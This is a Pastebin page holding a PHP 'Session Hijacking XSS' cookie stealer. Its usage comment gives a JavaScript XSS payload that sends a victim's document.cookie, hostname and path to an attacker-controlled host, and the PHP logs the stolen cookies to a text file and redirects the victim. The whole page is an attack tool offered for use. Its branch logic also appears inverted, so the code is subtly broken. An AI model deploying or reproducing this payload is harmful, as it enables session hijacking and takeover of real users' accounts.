kemas123

Session stealer

May 21st, 2017
42
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. <?php
  2. /*
  3. Session Hijacking XSS
  4. Session Stealer
  5. =======================
  6. Usage:
  7. <script type="text/javascript">
  8. var url = 'http://yourhost/session-stealer.php'+'?c='+document.cookie+'&w='+document.location.hostname+'&p='+document.location.pathname;
  9. document.location = url;
  10. </script>
  11. */
  12. $cook = $_GET ['c' ];
  13. $web = $_GET ['w' ] ;
  14. $path = $_GET ['p' ];
  15. if (! empty( $cook))
  16. {
  17. // IF COOKIE EMPTY REDIRECT TO GOOGLE
  18. ?> <meta content='0;url=https://www.google.com/' http-equiv='refresh'/> <?php
  19. break ;
  20. }
  21. else
  22. {
  23. $fp = fopen ('cookie-got.txt' , 'a' );
  24. fwrite ($fp , 'Web : '. $web . '\nPath : ' .
  25. $path . '\nCookie : '. $cook. '\n====================\n' ) ;
  26. fclose ($fp ) ;
  27. ?> <meta content='0;url=http:// <?php echo
  28. $web ;?> ' http-equiv='refresh'/> <?php
  29. break ;
  30. }
  31. ?>
Add Comment
Please, Sign In to add comment